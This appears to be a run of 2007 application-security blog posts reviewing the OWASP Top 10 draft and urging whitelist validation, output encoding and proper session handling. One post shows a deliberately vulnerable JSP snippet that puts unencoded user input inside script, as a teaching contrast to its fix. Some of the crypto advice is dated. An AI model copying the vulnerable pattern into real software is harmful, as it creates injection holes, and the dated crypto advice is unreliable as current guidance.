There's no security review (!) during the user acceptance testing, because we know perfect code came out of Integration Testing.
Integration Testing, integration testing actually gets to test the integration of the system and its operation under stress.
Component Integration would be much faster because the components don't have to be tested for security.
All of this because our developers aren't taught about security, they're well-versed in the fundamentals of writing academically-correct code, without flaws, security related or otherwise.
And also because our engineers engineer secure designs. Flow is checked between phases of the application just like geological survey software is certain that particular requirements have been met before measurements begin. Assertions can be made about the state of the application, and consistency of these states can be mathematically and logically proven.
Developers know to write academically correct code and engineers design secure transitions and transactions because really sharp security practitioners are involved from engineering from day one - during the imagination phase.
The American League wouldn't have a designated hitter.

Now am I proposing that you don't do all these things? Heck no! But the thing is, the earlier security is involved in the engineering of the application, and the better trained your coders are at writing fundamentally flawless code, and the better your engineers are at being able to guarantee state and make assertions that the state of the application is known at any point, the more secure applications will be, and the less re-work that will need to take place, and the faster your ethical hackers will be able to write the report (and the more frustrated they'll feel).

But because our engineers have been raised on a steady diet of trusting the application to behave itself, and the developers not understanding that users will push the wrong buttons, we really need to do all of the following:

Work on making the problem go away.
Use ethical hacking at multiple phases of the lifecycle to find logical flaws.
Use black-box application scanners throughout the lifecycle to discover semantic flaws in the application.
Use application firewalls (yuck!) to make sure that even if the blackbox testing didn't catch everything, nothing new gets through.
Have security codeheads perform source code analysis to find logical flaws.
Have the developers perform static analysis on source code to find semantic flaws.
Let the American League have their DH.

Long story short - just another rant that security flaws aren't only security flaws. They're actually more dangerous looking versions of flaws that 30 years ago, computer scientists were trained to not allow to happen. (Not saying that always worked, either, though).

OWASP Top 10 2007 Update RC1 - A7 A8

2007-02-21T00:34:00.000Z

A7 Broken Authentication and Session Management
Not really much I can add here. This actually ends up being a catch-all category for all things related to session management.

I don't think I can emphasize enough the importance of using the container's session-management system, if at all possible. If not possible, re-engineer the application until it is possible. No matter how smart you think you are, home-grown session management works about as well as home-grown cryptography - it's only a matter (short) of time before it's broken.

There are actually lots of sub-flaws that end up in this category for whitehats to look for:

Does logout actually kill the server-side session?
Does logout actually delete the client-side cookie? (If you do the first, this should be a non-issue)
Can the client somehow tell YOU the session token, and the server take it? (This is a session fixation attack, and I can't tell you why, but some sites are implemented in such a way that it actually works. Sheesh.)
Does logging in give you a new session token? (This is hard to implement sometimes if you're using the containers session management, unfortunately.)
Can two of the same user be logged in simultaneously? (May or may not be a risk - that's up to you.)
Are the session timeouts (time between requests and absolute timeout) appropriate for the sensitivity of the information you're providing?
Are session tokens easily guessable? Some tools, such as WebScarab have session token analysis built-in, but I think they're somewhat lacking. Most of them check for the "randomness" of the session token, but if the session token is simply a hash of a number that gets incremented for every new session, or of a timestamp, or of the user ID, it's not that random.

The very best thing about this one, now, is that because of the Indirect Object Reference flaw being a separate category, typical privilege escalation no longer falls under this somewhat overlooked category.

A8 Insecure Cryptographic Storage
This is one of those categories that was always hard for me to deal with being in a listing of Web application vulnerabilities. Insecure Cryptographic Storage is neither isolated to web applications, nor is it something that can easily be tested for or fixed. But there are some general guidelines:

Never, ever, ever use home grown crypto
Never, ever, ever use home grown crypto
Do not get overworked about things about MD5 or SHA-1 being broken. They are broken, but you should really only concern yourself with that for things like certificates, such that the signature is going to have to last a long, long time, and is going to be highly-available. If you have the cycles, go ahead and use SHA-2 if it makes you feel any better.
Whenever possible, things passed back and forth with the user should include a nonce, so that it's not susceptible to replay attack. For example, if you hash the user's password on the client side to pass over so that if an attacker manages to be inside the SSL tunnel (you are using SSL for anything where the password gets passed, right?), if the attacker gets a straight hash of the user's password, they have the password itself. Use a nonce to verify that the user applied the nonce before the hash, and perform the same hash and nonce application on the server side.
Simply don't require configuration or things like that in a web-accessible directory. If you feel like to be secure you need to encrypt configuration information, you're probably not handling the configuration information properly in the first place.
Remember that crypto on the database or on the filesystem is useless if an attacker has access to the database, or can mimic the user that files are encrypted to. Doing database encryption doesn't really help credit card numbers if I can get sa and use a database driver (or your webapp) to slurp them all down. Encrypt individual items when necessary.

Good Habits Part I: Input Validation

2007-02-19T13:16:00.000Z

In a previous post, I made mention that many security flaws are really the result of a lack of good programming practices. Since I'm a solutions-oriented type, here's Part 1 of <<not sure how many>> on some of those good habits.

My colleagues will probably have a heart attack upon reading that Input Validation is my first post on good habits, as I've always been very passionate about output filtering. But I've always felt that proper business-rule input validation is critical.

Remember back to your days as a wee tot programming in turtle logo on the Apple II-e. Or maybe just remember back to programming in BASIC on the C=64 or TRS-80. (I realize I'm dating myself here). When you were first learning the basics of programming, one of the most important things you had to do as soon as you took input from a user, from a file, or from thin air, was to verify that the type of data received was consistent with the type of data you intended to operate on. This was absolutely critical to having the application behave as expected.

C and assembler programmers know this very well. If you don't deal with the right type of input in your application, you'll get very odd results. Things like reading random areas of memory, buffer overruns, fencepost errors, and on the rare occasion, you'll give your application the ability to inject new handlers into the Interrupt Vector Table. But somewhere around VB4, and those other 4-GL's, when components were coupled to the code that deals with them, and the design interface allowed but didn't require you to specify the format of incoming data, applications went very quickly from prototype to production, and those simple requirements were left by the wayside. (I think I'm guilty of telling people "Don't enter apostrophes, they mess things up" as well.)

Things didn't improve when we made web applications. And at some point security professionals thought they'd start recommending input validation again. But since the application security field seems to have evolved out of network security, rather than application development, security professionals always made recommendations regarding "malicious characters" (a term that makes me sick to my stomach). So those developers who have effectively been un-trained (or never trained at all) of good input validation habits are now being drawn into what is almost as bad - blacklist input validation. I say almost as bad because it blacklist input validation provides very, very little protection (just ask MySpace), but gives developers a false sense of security.

So what are the good habits? I think the best approach to input validation is to follow this (pretty well agreed-upon) formula:

Whitelist input validation. If the specific item requested or sent by the user isn't in the list, reject the value. And this can happen in more places than you might think. If you have a jump page, you know the pages you expect to send your users to off your site, so enumerate those, and use a level of indirection so that the user can only send, say integers, which index into an array with the list of sites that you can jump to.
Positive regex matching. This is where you specify a regular expression that the field must match. Phone number matching might look (in the US) something like: /\(?\d{3}[)-]?\d{3}-?\d{4}/, and if the data doesn't match that, then reject. Surnames might match /^([a-zA-Z]+[ '-])?[A-Z][A-Za-z]+$/. If I get the time, I'll reconstruct my regex for matching an IP address without having to do arithmetic on each octet.
Negative regex matching. This is "don't allow malicious characters". I hate this philosophy. There are a billion ways that "malicious characters" (did the bytes themselves intend harm?) can be encoded on input. If you're stuck with this, you had better be doing presentation filtering (another good habit) further down the pipe - you are bound to miss something.

So there you have it. Deal with what you expect, first. And please use libraries where possible like the Apache Commons Validator, which will give you a really consistent interface for validating things. And really, really look for chances to apply a level of indirection. Like I say, there are probably more places that you can do that than you might think. (Primary key fields, jump URL's, any list, etc.)

Using Evil for Purposes of Good?

2007-02-17T13:08:00.000Z

I understand this is a really, really limited use, and that something really needs to be done about the problem. I'm not advocating keeping it around because I found an uber-limited use for it.

The other day I saw something that really annoyed me, that could actually go away with the CSS History Hack.

My colleagues and I use del.icio.us to send bookmarks to each other because we can subscribe to RSS feeds of those in Firefox. If you label a link with for:<<whomever>>, the link will show up under Links For Me, and you can subscribe with an RSS feed.

Unfortunately, when you actually visit the page, they can't tell when you've visited the page or not, so it shows up in a "new" listing at the top, regardless of how "new" it really is to you.

If del.icio.us used the CSS History Hack, they could go through the list they're going to show you and remove the "new" links so you don't have to remember by name something you visited months ago.

But then again, an easier fix would be to have the links in the RSS feed go through del.icio.us first so that they can record on their side that you've seen the site. This is a more elegant solution, too, because you might not always visit shared links from the same machine.

XSS in SVG embedded Base64

2007-02-16T23:51:00.000Z

Blech!

But then again, the more I thought about it, the more I decided that it's probably not that great of a vector. First thought was that because the script is embedded in Base64, output filtering isn't any good there.

But the more I think about it, the more I think it's an unlikely (although really creative) attack vector. Unlikely, because if output filtering is being done, you'd have to already be inside a src attribute of an embed element.

Very nice find, however.

Shocking Scientific Finding

2007-02-15T19:47:00.000Z

Now, I'm not a paleontologist, so pardon me for sticking my nose where it doesn't belong, but it's very recently been discovered that chimpanzees behaved 4,300 years ago very similarly to the way they do today. This is news?

I read the whole article, and it could very well be that there aren't paleontology experts at CNN, so the article is poorly written, but I read the whole article to make sure I wasn't missing something. Evidently I'm not missing anything - chimpanzees behaving similarly 4,300 years ago to the way they behave today is supposed to be a groundbreaking discovery.

It was only a few years ago that scientists "discovered" that Mexican food is largely high in salt and fat.

I'm in the wrong field.

It's our own fault

2007-02-14T22:47:00.000Z

Security practitioners are actually a large part of the reason developers aren't truly getting better at security. As security practitioners, we've told developers to actually think about security, but because we don't know enough about development, we've actually lessened the degree of the problem. Let me give a few examples, then the results of that...

Cross-site Scripting - is actually just an extension of the old < or > problem. This is also partially browsers' faults for allowing malformed HTML, but I digress.
SQL Injection - just an extension of the question "what happens when somebody sends something that mucks up the statement?"
XSRF - just an extension of the thing we used to solve by adding "Please only submit the form once"

It's not that those threats aren't threats against security. But the real solutions to those problems are solutions to other problems. But as security practitioners, we don't seem to understand that all HTML output should be encoded in case something would mess up the validity of the HTML.

The end result is that we're able to identify the things we deem to be security flaws, and developers "fix" those specific findings to make us go away, but they never really learn to write better code. They don't see the correlation between security findings and the real solutions to the problem.

Now, security practitioners aren't the only ones at fault:

All programming books are at fault because they tell you how to write the language, and in being focused on getting functionality right, they completely abandon writing good code.
Classrooms are at fault because rarely do students take a class on dealing with the unexpected. Most entry-level programmers assume people will use the application just as expected, with no keystroke errors.
It's the fault of QA testers, because they test the application for functionality and load, but not for dealing with erroneous behavior.
It's the fault of timelines (not sure who to really blame that on - customers? managers? CEO's?) because the entire development lifecycle is geared around functionality, not necessarily quality of said functionality.

So the short part of the story here is that when a "security problem" exists, see if you can determine the real cause, so that developers can get into good habits. Good habits that will be covered in more detail in later posts....

Semantic Tests for XSRF

2007-02-10T12:37:00.000Z

I've been noodling over ways to implement a semantic check for XSRF, and unfortunately, unless you're in a place where you have a single development environment and well-defined methods for dealing with things, there's not a good one (that I've discovered yet).

Most of the ideas I've worked through have started on the presentation side. On the presentation side, a single type of check gets coverage from black box and white box testing. The rules I had come up with initially became very complex as I tried to reduce false-negatives.

The idea is similar to the OWASP CSRF Guard, except the benefit of the CSRF Guard is that they know the business rules, so it doesn't have to be generic.

For all forms, find hidden inputs with a name with token in it, and a value with a suitable amount of entropy
If the previous test fails on any form, test to see if there's a token in the action of the form. Blackbox, refresh the page to see if that token changes. Whitebox, use logic tests to determine if the token is generated automatically with a sufficient random library.
If the previous test fails, perform the same test on the names of the elements in the form. This is susceptible to false negatives because lots of places will allow editing several "rows" on a single page, so the element names would include the key of the row in the names for each element in the row.
For all links on the page, if there are parameters, determine if there is more than one, if one of them looks like a token. (This is also very susceptible to false negatives because many frameworks use path info rather than parameters to pass values back).

So no matter what I came up with, the more I tried to be generic, the more false negatives I would get because "suitably random" values could end up in the form anywhere.

I think I'm gonna love XSRF - the more we try to automate the discovery of it, the more we realize that there just exist flaws that take a real person to find.

Limiting Script Injection in Dynamic Script

2007-02-08T02:42:00.000Z

One of the places you see script injection is actually inside of dynamically-generated javascript. XSS doesn't just have to happen in HTML, and it's actually somewhat surprising how often it happens in Javascript.

If the dynamically-created script is in an HTML page, a handy trick to work around this is to actually move the dynamic parts outside of javascript. When you include dynamic pieces with user-controlled data inside the script, there are so many more characters to deal with, and the attacker doesn't have to generate HTML tags to get their script executed.

Take the following example:


...
<script>
var name = '<%= request['name'] %>';
</script>
...

In that simple example, normal HTML encoding won't work because you've got apostrophes. But if you're inside double quotes, you have to deal with those, and apostrophes might be perfectly legitimate characters. To deal with that easily, just replace it with something like this:


...
<script>
var name = document.forms['holder'].elements['uname'].value;
</script>
...
<form name="holder">
<input type="hidden" name="uname" value="<%= encode(request['name']) %>"/>
</form>

This way, you don't have to think about what kind of quotes you're in (if any), you just let your framework's trusty encoding library do the heavy lifting for you.

OWASP Top 10 2007 Update RC1 - A5 A6

2007-02-07T20:43:00.000Z

A5 - Cross-site Request Forgery (CSRF) - Editor's note, I call it XSRF, but I've also seen Session Riding and a couple of other names. Go ahead and get them all confused. Unless all malicious actions are somehow of benefit to the attacker, then I'd probably remove the statement "to the benefit of the attacker". This can also be used for DoS, or getting the carrier to do anything under their own privileges.

The recommendations are pretty sound, but I would certainly flesh them all out. With the first item, you need to focus on those locations where XSRF also exists. Yes - you should get rid of all of them, but start on those - particularly if your request token is specific to the action, not the session. The third bullet should be fleshed out more to specify how to re-authenticate. This can include just asking for the password again, a CAPTCHA, or one-time password. And using GET over POST really doesn't do much at all to help.

A6 Information Leakage and Improper Error Handling - Another sort of catch-all that leads to flaws like A4 (particularly when there's key exposure or filename information). One global 500 configuration I've seen that's very effective is that each application error generates a unique instance ID - I don't mean for the class of error, but the exact occurrence. This way, a user who calls the help desk can give an ID and support teams can trace logs by a unique ID. Of course, this same ID could just be emailed to the support team.

It's also very important that you configure every layer of your error handling to look the same. For example, exceptions handled by Struts can be configured in the struts configuration. But what if the attacker calls a method that makes the framework puke? Then you get a 500 error handled by the app server. Even if you make the error screens look precisely the same, generally an application error in Struts returns a 200, while a Struts error returns a 500 - so you'll want to make sure your global exception handler throws a 500 and returns no content - this way the app server's 500 will be displayed. (The proof is left as an exercise for the reader).

Web 2.0 As a Society Anti-Pattern

2007-02-05T21:54:00.000Z

Political scientists will kill me for over-simplifying it, but Social Contract Theory is almost universally accepted as at least to some degree true. Regardless of whether you think people popped up in individual vacuums and formed societies later, were created in societies, or evolved from already social animals, it's pretty universally agreed that today that we live in societies with governments with the understanding that we give up a few of our freedoms in order to protect many of our freedoms. Some of these freedoms are really, really basic, so this is independent of most types of government - i.e., you give up your ability to kill others ungoverned in order to protect your ability to live.

If you made it this far without commenting that we live in governments because some really strong people managed to manipulate the remainder, congratulations....

When I refer to Web 2.0, I don't really mean so much the technological aspects of it (AJAX, tagging, etc.), but more of the social aspects - sharing "anonymously", everybody owns the content, not a single entity, blogging really personal information, etc.

The interesting irony of the social aspects of Web 2.0 is that it seems to be the inverse of normal Social Contract Theory. Users give up many of their rights in order to protect a few. If you take a handful of examples such as social bookmarking, online journaling, and social exchange sites like MySpace, here's what people (knowingly or unknowingly) generally give up:

A pretty high degree of privacy
Varying degrees of security
Some degree of anonymity
A small degree of personal safety (giving up personal information and inherently trusting others leaves people open to situations they might not ordinarily put themselves into)

But I'm not yet convinced what people hope to get out of giving those things up. Maybe it's some amount of convenience (social bookmarking sites can be better search engines, maybe), or maybe some amount of hubris (can I reveal something really personal making my MySpace page uber-popular?), or possibly this is all an extension of the anonymity that Web 1.0 provided. People who were ashamed to socialize in reality began to do so in chat rooms and forums and stuff. There was some degree of anonymity, and a lot less shame there (they'll never know I'm ugly by the way I type, right?) But what has happened as a result of that is that online journal-ers (I count this distinct from professional blogging) give out really personal information to a whole lot more people than they would without the web.

A colleague says that most of the rights people give up now are more a result of ignorance than it is a willing belaying of rights in order to gain some other. I suppose maybe he's right, but it just seems so odd to me to give out really personal information, even under a pen-name, in the interest of .... something ....

Am I wrong? Am I reading far too much into a lot of the social sites? I don't follow them, so I'm really not "in the know" on their value.

OWASP Top 10 2007 Update RC1 - A3 A4

2007-02-05T18:00:00.000Z

A3 - Malicious File Execution - or is it Insecure Remote File Include? The names are used interchangeably in the document, which is annoying. By looking at the name, they appear to mean entirely different things. And equally irritating is that it appears to be the same flaw as A4, except A4 could also include key exposure.

The more I read it, it appears that this is supposed to be inclusion or execution of things that are not supposed to be part of the web application at all, which would make it just another injection attack (see A2). But I'm odd in the way I want to categorize things. Or on another read, it appears to imply that actual code submitted by users is to be executed by the web server - even more shocking that people would somehow find a legitimate need to do this.

One of the recommendations there is to use a level of indirection, but it's very far down on the list. You as a developer know what it's okay for a user to access, so make sure to abstract that so that the user doesn't get to tell you what they can do.

With the confusion I have between this and A4, I'll have more interesting things to say about...

A4 Insecure Direct Object Reference
Again, this appears to be the same as A3, but A3 seemed to be really really focused on PHP type flaws (although they say you can do similar things with .NET or J2EE apps). The Verifying Security section implies that static analysis tools can't determine what does and doesn't need access control, but from my experience, all of them will flag places where filename injection can take place, and where key exposure takes place -this is a far safer approach when you get false positives, rather than false negatives, although it does require a manual analysis of the results to determine what is acceptable.

What's funny about the example is that while SQL Injection isn't possible because they use parseInt on both parameters, you still should use parameterized queries on every single query, without fail. There are more reasons to use parameterized queries than just to be rid of SQL Injection, and to make recommendation in one place to use them, then to fail to do so later makes the document look really really bad. What if "cartID" becomes a CHAR type later on?

Fortunately, both of these flaws recommend a level of indirection as a good fix. Unfortunately, I can't tell enough difference between the two vulnerabilities to actually call them different vulnerabilities. These types of unclarity will make those who don't always look at the document (developers) run away from it.